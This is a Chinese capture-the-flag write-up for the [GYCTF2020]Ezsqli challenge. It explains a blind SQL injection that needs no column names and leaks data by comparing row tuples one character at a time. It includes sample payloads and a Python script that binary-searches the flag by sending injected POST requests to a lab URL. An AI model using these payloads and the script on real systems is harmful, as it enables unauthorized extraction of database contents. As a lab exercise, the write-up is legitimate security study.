无列名注入_2 [GYCTF2020]Ezsqli 1
2022/1/28 2:34:14
本文主要是介绍无列名注入_2 [GYCTF2020]Ezsqli 1,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
无列名注入_2
在之前,我们使用了select `1` from (select 1,2 union select * from tableX)a这样一个形式来进行无列名注入,原理可以看我之前写的(抄的)一篇https://www.cnblogs.com/AikN/p/15725756.html
在这个形式被过滤了以后,我们还可以使用另一种方式尝试注入。
基本原理
其实也很简单
sql查询语句 | 返回结果 |
---|---|
(select "b") > (select "a") | 1 |
(select "abce") > (select "abcd") | 1 |
(select "aacd") > (select "abcd") | 1 |
(select "a") > (select "baaa") | 1 |
即如果使用sql语句进行大小比较,会逐位比较,出现不一样的字母时即返回结果。
具体使用中,如有下表account
username | passwd |
---|---|
Aiknr | hhhaaa |
Botm | YouWontKnow! |
我们不知道列名是什么,输入中又过滤了如union的参数,就需要用到这种无列名注入的姿势。
我们只需要逐个位数试就行了
使用payload
(select 1,"a") > (select * from account) -> 0 (select 1,"b") > (select * from account) -> 0 (select 1,"c") > (select * from account) -> 0 ... (select 1,"i") > (select * from account) -> 1
当尝试到“i”的时候,返回正确,因为“i”是第一个超过“h”的字母,即Aiknr账户的密码第一位。这个时候我们就知道了Aiknr账户第一位为“h”
随后,我们把结果拼到payload里,进行下一位的尝试
(select 1,"ha") > (select * from account) -> 0 (select 1,"hb") > (select * from account) -> 0 (select 1,"hc") > (select * from account) -> 0 ... (select 1,"hi") > (select * from account) -> 1
然后,我们就知道密码第二位为"h"了。随后用同样的方法即可以得到全部的密码
这里因为account表有两位,我们想比较的在第二个位置,所以在第二个位置放payload。至于为什么第一个位置放置1,我用题目实验后,发现数字是大于所有字母的,具体可能和php的比较机制有关,不太了解。
题目的脚本借鉴了网上的,发现大伙都是用的遍历,太慢了,还是推荐大家用二分法,平均尝试5-6次就可以得到一位结果。遍历就起飞了,ascii码是几就要遍历几次得到一位。
import requests url = 'http://3347a09e-7c1e-41c1-b53f-c57dee0bc5c6.node4.buuoj.cn:81/index.php' MaxLen = 250 flag = '' for i in range(1,MaxLen): low = 32 high = 128 mid = (low + high) // 2 while(low < high): hexchar = flag + chr(mid) payload = '0^((select 1,"%s")>(select * from f1ag_1s_h3r3_hhhhh))'%(hexchar) # print(payload) data = {'id':payload} r = requests.post(url=url, data=data) text = r.text if 'Nu1L' in r.text: high = mid else: low = mid + 1 mid = (low + high) // 2 if(mid == 32 or mid == 127): break flag += chr(mid - 1) print(flag)
最终得到flag
看着怪怪的,交上去也不对,不知道为啥。反正我应该算是做出来了(orz
这篇关于无列名注入_2 [GYCTF2020]Ezsqli 1的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-05-15PingCAP 黄东旭参与 CCF 秀湖会议,共探开源教育未来
- 2024-05-13PingCAP 戴涛:构建面向未来的金融核心系统
- 2024-05-09flutter3.x_macos桌面os实战
- 2024-05-09Rust中的并发性:Sync 和 Send Traits
- 2024-05-08使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B
- 2024-05-08完工标准(DoD)与验收条件(AC)究竟有什么不同?
- 2024-05-084万 star 的 NocoDB 在 sealos 上一键起,轻松把数据库编程智能表格
- 2024-05-08Mac 版Stable Diffusion WebUI的安装
- 2024-05-08解锁CodeGeeX智能问答中3项独有的隐藏技能
- 2024-05-08RAG算法优化+新增代码仓库支持,CodeGeeX的@repo功能效果提升